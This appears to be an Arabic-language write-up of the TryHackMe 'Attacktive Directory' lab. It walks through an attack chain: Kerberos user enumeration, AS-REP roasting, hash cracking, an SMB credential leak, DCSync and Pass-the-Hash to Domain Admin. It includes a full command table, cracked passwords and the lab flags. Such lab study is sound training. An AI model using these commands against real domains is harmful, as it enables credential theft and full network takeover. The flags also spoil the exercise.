Attacktive Directory لاب بيحاكي بيئة Active Directory حقيقية بالكامل: السيرفر اسمه DC01 على دومين spookysec.local، وبنمشي عليه بنفس منهجية الهجوم على AD من أول نقطة للصفر — من غير أي Credentials — لحد ما نوصل لصلاحيات Domain Administrator كاملة. اللاب بيربط بين تعداد Kerberos، ضعف Pre-Authentication، وسوء استخدام صلاحيات الـ Replication (DCSync) اللي بتدّي أي حساب يملكها قدرة على سحب كل هاشات الدومين.
إتقان سلسلة هجوم AD كاملة من Enumeration لحد DCSync
Nmap بيكشف Kerberos (88)، LDAP (389)، SMB (445) — مؤشر واضح على Domain Controller. enum4linux بيكشف اسم الدومين NetBIOS “THM-AD” والدومين الكامل spookysec.local.
nmap -sV -sCenum4linuxاستخدام kerbrute عشان نعمل Brute-force على اسماء يوزرات محتملة ضد خدمة Kerberos — من غير ما نسجل أي محاولة دخول فاشلة في الـ Event Logs العادية. بيطلع لنا svc-admin وbackup.
kerbrute userenumsvc-admin / backupsvc-admin عنده Kerberos Pre-Authentication معطّلة — Impacket’s GetNPUsers.py بيطلب TGT من غير أي كلمة سر وبيرجع هاش $krb5asrep$23$ قابل للكراك Offline.
GetNPUsers.py -no-passkrb5asrep hashهاشكات mode 18200 (Kerberos 5 AS-REP etype 23) مع rockyou.txt بيكسر الهاش في ثواني ويطلّع كلمة سر svc-admin.
hashcat -m 18200management2005smbclient بيكشف مشاركة “backup” فيها ملف نصي — فتحه بيطلّع نص base64 مُشفّر فك تشفيره بيدّي كريدنشيلز backup.
smbclient //DC01/backupbase64 → backup2517860حساب backup عنده صلاحية Replicating Directory Changes (زي حساب Domain Controller فعلياً). secretsdump.py بيستخدم بروتوكول DRSUAPI عشان يسحب NTDS.DIT كامل — هاش Administrator بيتستخدم مباشرة في Pass-the-Hash عبر evil-winrm.
secretsdump.py -just-dcevil-winrm -H <NTLM>Domain Admin 🏆| الأمر | الوصف | المرحلة |
|---|---|---|
| nmap -sV -sC -oN nmap.out <DC-IP> | فحص البورتات وكشف خدمات AD | Scan |
| enum4linux <DC-IP> | تعداد SMB واسم الدومين NetBIOS | Enum |
| kerbrute userenum -dc <DC-IP> -d spookysec.local userlist.txt | تعداد يوزرات صحيحة عبر Kerberos | Enum |
| GetNPUsers.py -no-pass -usersfile users.txt -dc-ip <DC-IP> spookysec.local/ | AS-REP Roasting للحسابات المعطّلة Pre-Auth | Roast |
| hashcat -m 18200 hash.txt rockyou.txt | كراك هاش AS-REP Offline | Crack |
| smbclient //<DC-IP>/backup -U svc-admin | تصفح مشاركة backup وسحب ملف الكريدنشيلز | Loot |
| secretsdump.py -just-dc spookysec.local/backup:’backup2517860’@<DC-IP> | DCSync — سحب كل هاشات الدومين | DCSync |
| evil-winrm -i <DC-IP> -u Administrator -H <NTLM-hash> | Pass-the-Hash للدخول كـ Domain Admin | PtH |
اكتشاف Kerberos/LDAP/SMB واسم الدومين spookysec.local
kerbrute + GetNPUsers.py على svc-admin
Desktop\user.txt — TryHackMe{K3rb3r0s_Pr3_4uth}
مشاركة SMB + فك base64 — TryHackMe{B4ckM3UpSc0tty!}
DCSync → Pass-the-Hash — TryHackMe{4ctiveD1rectoryM4st3r}